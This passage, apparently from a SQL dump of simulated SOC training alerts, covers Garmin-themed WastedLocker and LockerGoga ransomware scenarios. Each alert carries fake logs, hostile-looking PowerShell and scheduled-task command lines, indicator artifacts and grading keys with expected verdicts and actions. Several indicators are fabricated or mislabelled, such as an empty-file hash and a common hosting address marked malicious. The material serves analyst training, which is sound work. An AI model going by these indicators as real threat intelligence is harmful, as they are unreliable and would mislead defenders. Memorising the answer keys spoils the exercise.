Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of victim\'s workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"noreply@garmin-support.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Sender email used in spoofed phishing attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious document files.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Campaign\",\"date\":\"2026-02-01T20:32:22.652Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(966, 'WastedLocker Payload Execution', 'critical', 'Endpoint Detection and Response (EDR) Systems', 'Following a successful phishing attack, the WastedLocker ransomware was deployed on Garmin\'s network. This execution phase is critical as it disrupts operations, causing widespread service outages.', 'Malware Deployment', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_type\":\"malware_execution\",\"host_ip\":\"10.0.25.13\",\"attacker_ip\":\"185.243.115.12\",\"username\":\"jdoe\",\"filename\":\"wastedlocker.exe\",\"file_hash\":\"3fa7b6810b1c8cb4f2b4d5a9e7e6c8f9\",\"command_line\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\wastedlocker.exe\",\"process_id\":4567,\"parent_process_id\":1234,\"alert_id\":\"edr-2023-1001-002\",\"detection_method\":\"behavioral_analysis\"}', '2026-01-17 03:38:37', '2026-02-16 17:53:26', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.25.13\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.243.115.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence_feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with WastedLocker\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"wastedlocker.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Executable associated with WastedLocker ransomware\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3fa7b6810b1c8cb4f2b4d5a9e7e6c8f9\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_lookup_service\",\"verdict\":\"malicious\",\"details\":\"Hash matches known WastedLocker ransomware variant\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_directory\",\"verdict\":\"internal\",\"details\":\"Compromised user\'s account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(967, 'Persistence through Scheduled Tasks', 'high', 'System Logs and Scheduled Tasks', 'Evil Corp utilized scheduled tasks to maintain persistence within Garmin\'s network. This mechanism enabled them to re-establish connections for ongoing malicious activities without detection.', 'Persistence Mechanism', 'T1053', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"4698\",\"task_name\":\"\\\\Microsoft\\\\Windows\\\\UpdateTasks\\\\CriticalUpdate\",\"author\":\"SYSTEM\",\"trigger\":\"Daily\",\"action\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c start C:\\\\malware\\\\evil_task.exe\",\"target_ip\":\"192.168.45.8\",\"attacker_ip\":\"45.76.123.55\",\"malware_hash\":\"8f14e45fceea167a5a36dedd4bea2543\",\"username\":\"admin_garmin\",\"status\":\"Scheduled\"}', '2026-01-17 03:38:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.45.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target machine.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.76.123.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Evil Corp operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"8f14e45fceea167a5a36dedd4bea2543\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash of the malware used in the persistence mechanism.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"evil_task.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"endpoint_security\",\"verdict\":\"malicious\",\"details\":\"Malicious executable used in scheduled task.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_garmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"clean\",\"details\":\"Username associated with the scheduled task creation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.654Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateTasks\\\\\\\\CriticalUpdate\\\",\\\"author\\\":\\\"SYSTEM\\\",\\\"trigger\\\":\\\"Daily\\\",\\\"action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c start C:\\\\\\\\malware\\\\\\\\evil_task.exe\\\",\\\"target_ip\\\":\\\"192.168.45.8\\\",\\\"attacker_ip\\\":\\\"45.76.123.55\\\",\\\"malware_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"username\\\":\\\"admin_garmin\\\",\\\"status\\\":\\\"Scheduled\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.654Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateTasks\\\\\\\\CriticalUpdate\\\",\\\"author\\\":\\\"SYSTEM\\\",\\\"trigger\\\":\\\"Daily\\\",\\\"action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c start C:\\\\\\\\malware\\\\\\\\evil_task.exe\\\",\\\"target_ip\\\":\\\"192.168.45.8\\\",\\\"attacker_ip\\\":\\\"45.76.123.55\\\",\\\"malware_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"username\\\":\\\"admin_garmin\\\",\\\"status\\\":\\\"Scheduled\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.654Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateTasks\\\\\\\\CriticalUpdate\\\",\\\"author\\\":\\\"SYSTEM\\\",\\\"trigger\\\":\\\"Daily\\\",\\\"action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c start C:\\\\\\\\malware\\\\\\\\evil_task.exe\\\",\\\"target_ip\\\":\\\"192.168.45.8\\\",\\\"attacker_ip\\\":\\\"45.76.123.55\\\",\\\"malware_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"username\\\":\\\"admin_garmin\\\",\\\"status\\\":\\\"Scheduled\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.654Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateTasks\\\\\\\\CriticalUpdate\\\",\\\"author\\\":\\\"SYSTEM\\\",\\\"trigger\\\":\\\"Daily\\\",\\\"action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c start C:\\\\\\\\malware\\\\\\\\evil_task.exe\\\",\\\"target_ip\\\":\\\"192.168.45.8\\\",\\\"attacker_ip\\\":\\\"45.76.123.55\\\",\\\"malware_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"username\\\":\\\"admin_garmin\\\",\\\"status\\\":\\\"Scheduled\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.654Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateTasks\\\\\\\\CriticalUpdate\\\",\\\"author\\\":\\\"SYSTEM\\\",\\\"trigger\\\":\\\"Daily\\\",\\\"action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c start C:\\\\\\\\malware\\\\\\\\evil_task.exe\\\",\\\"target_ip\\\":\\\"192.168.45.8\\\",\\\"attacker_ip\\\":\\\"45.76.123.55\\\",\\\"malware_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"username\\\":\\\"admin_garmin\\\",\\\"status\\\":\\\"Scheduled\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(968, 'Lateral Movement via RDP Detected', 'high', 'Remote Desktop Protocol (RDP) Logs', 'The attackers have utilized RDP to conduct lateral movement within Garmin\'s network, compromising additional systems to maximize the ransomware\'s impact.', 'Movement within Network', 'T1021.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T03:22:45Z\",\"event_id\":\"4624\",\"event_type\":\"logon_success\",\"source_ip\":\"203.0.113.15\",\"destination_ip\":\"10.0.5.23\",\"username\":\"jdoe_admin\",\"logon_type\":\"10\",\"logon_process\":\"User32\",\"authentication_package\":\"Negotiate\",\"status\":\"Success\",\"session_id\":\"0x3e7\",\"host\":\"GARMIN-SERVER1\",\"malware_hash\":\"58a9e13c1a2d4c4b8fbfd6a7d60bbabc\",\"filename\":\"rdp_movement_tool.exe\"}', '2026-01-17 03:38:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with ransomware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Privileged account used in unauthorized access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"58a9e13c1a2d4c4b8fbfd6a7d60bbabc\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known lateral movement tools.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"rdp_movement_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Filename of tool used for lateral movement via RDP.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.656Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:22:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"logon_success\\\",\\\"source_ip\\\":\\\"203.0.113.15\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"logon_type\\\":\\\"10\\\",\\\"logon_process\\\":\\\"User32\\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"status\\\":\\\"Success\\\",\\\"session_id\\\":\\\"0x3e7\\\",\\\"host\\\":\\\"GARMIN-SERVER1\\\",\\\"malware_hash\\\":\\\"58a9e13c1a2d4c4b8fbfd6a7d60bbabc\\\",\\\"filename\\\":\\\"rdp_movement_tool.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.656Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:22:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"logon_success\\\",\\\"source_ip\\\":\\\"203.0.113.15\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"logon_type\\\":\\\"10\\\",\\\"logon_process\\\":\\\"User32\\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"status\\\":\\\"Success\\\",\\\"session_id\\\":\\\"0x3e7\\\",\\\"host\\\":\\\"GARMIN-SERVER1\\\",\\\"malware_hash\\\":\\\"58a9e13c1a2d4c4b8fbfd6a7d60bbabc\\\",\\\"filename\\\":\\\"rdp_movement_tool.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.656Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:22:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"logon_success\\\",\\\"source_ip\\\":\\\"203.0.113.15\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"logon_type\\\":\\\"10\\\",\\\"logon_process\\\":\\\"User32\\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"status\\\":\\\"Success\\\",\\\"session_id\\\":\\\"0x3e7\\\",\\\"host\\\":\\\"GARMIN-SERVER1\\\",\\\"malware_hash\\\":\\\"58a9e13c1a2d4c4b8fbfd6a7d60bbabc\\\",\\\"filename\\\":\\\"rdp_movement_tool.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.656Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:22:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"logon_success\\\",\\\"source_ip\\\":\\\"203.0.113.15\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"logon_type\\\":\\\"10\\\",\\\"logon_process\\\":\\\"User32\\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"status\\\":\\\"Success\\\",\\\"session_id\\\":\\\"0x3e7\\\",\\\"host\\\":\\\"GARMIN-SERVER1\\\",\\\"malware_hash\\\":\\\"58a9e13c1a2d4c4b8fbfd6a7d60bbabc\\\",\\\"filename\\\":\\\"rdp_movement_tool.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.656Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:22:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"logon_success\\\",\\\"source_ip\\\":\\\"203.0.113.15\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"logon_type\\\":\\\"10\\\",\\\"logon_process\\\":\\\"User32\\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"status\\\":\\\"Success\\\",\\\"session_id\\\":\\\"0x3e7\\\",\\\"host\\\":\\\"GARMIN-SERVER1\\\",\\\"malware_hash\\\":\\\"58a9e13c1a2d4c4b8fbfd6a7d60bbabc\\\",\\\"filename\\\":\\\"rdp_movement_tool.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(969, 'Data Exfiltration and Encryption - Final Stage', 'critical', 'Network Traffic Analysis', 'Evil Corp successfully exfiltrated sensitive data and encrypted critical systems, demanding a $10 million ransom. This action has caused significant service disruption and poses risks regarding data privacy and potential sanctions evasion.', 'Data Breach', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-01T14:52:30Z\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"185.199.108.153\",\"action\":\"exfiltration\",\"protocol\":\"HTTPS\",\"file_exfiltrated\":\"sensitive_data.zip\",\"hash\":\"3b1c83d776f1a7e6b9e5f6c7d1234abc\",\"user\":\"jdoe\",\"ransom_note\":\"RansomNote.txt\",\"ransom_amount\":\"$10 million\",\"encryption_status\":\"Complete\",\"event_id\":\"evt-2023-10-01-0005\"}', '2026-01-17 03:38:37', '2026-02-16 17:53:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint_db\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b1c83d776f1a7e6b9e5f6c7d1234abc\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"sensitive_data.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Unusual file exfiltrated\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"User account involved in unusual activity\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(970, 'Suspicious Network Activity Detected', 'high', 'Network Intrusion Detection System (NIDS)', 'An alarming spike in network traffic has been detected, indicating potential intrusion attempts by LockerGoga exploiting known vulnerabilities in remote access services. The initial access phase involves suspicious connections from an external IP attempting to exploit a vulnerable service.', 'Initial Access', 'T1190 - Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"protocol\":\"TCP\",\"destination_port\":3389,\"event_type\":\"Exploit Attempt\",\"payload\":{\"attack_vector\":\"RDP Exploit\",\"malware_name\":\"LockerGoga\",\"malware_hash\":\"2c1743a391305fbf367df8e4f069f9f9\",\"username\":\"admin\"},\"alert_metadata\":{\"nids_id\":\"NIDS-2023-1001\",\"severity\":\"High\"}}', '2026-01-17 03:39:18', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known LockerGoga attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Corporate network server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"2c1743a391305fbf367df8e4f069f9f9\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash known to be associated with LockerGoga ransomware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Policy\",\"verdict\":\"internal\",\"details\":\"Common administrator account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(971, 'Malware Execution Observed', 'critical', 'Endpoint Detection and Response (EDR)', 'Following initial access, the attacker deploys the LockerGoga ransomware, which begins encrypting files on the infected systems, indicating the execution phase of the attack.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T08:45:23Z\",\"event_id\":\"4624\",\"user\":\"compromised_user\",\"src_ip\":\"203.0.113.45\",\"dest_ip\":\"10.0.0.25\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\compromised_user\\\\AppData\\\\Roaming\\\\LockerGoga\\\\encrypt.ps1\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Roaming\\\\LockerGoga\\\\encrypt.ps1\",\"action\":\"File encryption started\"}', '2026-01-17 03:39:18', '2026-02-16 17:52:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with ransomware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised system\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash associated with LockerGoga ransomware payload\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"encrypt.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"malicious\",\"details\":\"Ransomware script executed on the host\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(972, 'Unauthorized Scheduled Task Created', 'high', 'System Logs', 'A new scheduled task was created to execute a ransomware payload upon system start-up. This is indicative of an advanced persistence technique to maintain access after system reboots.', 'Persistence', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 1, 'new', NULL, 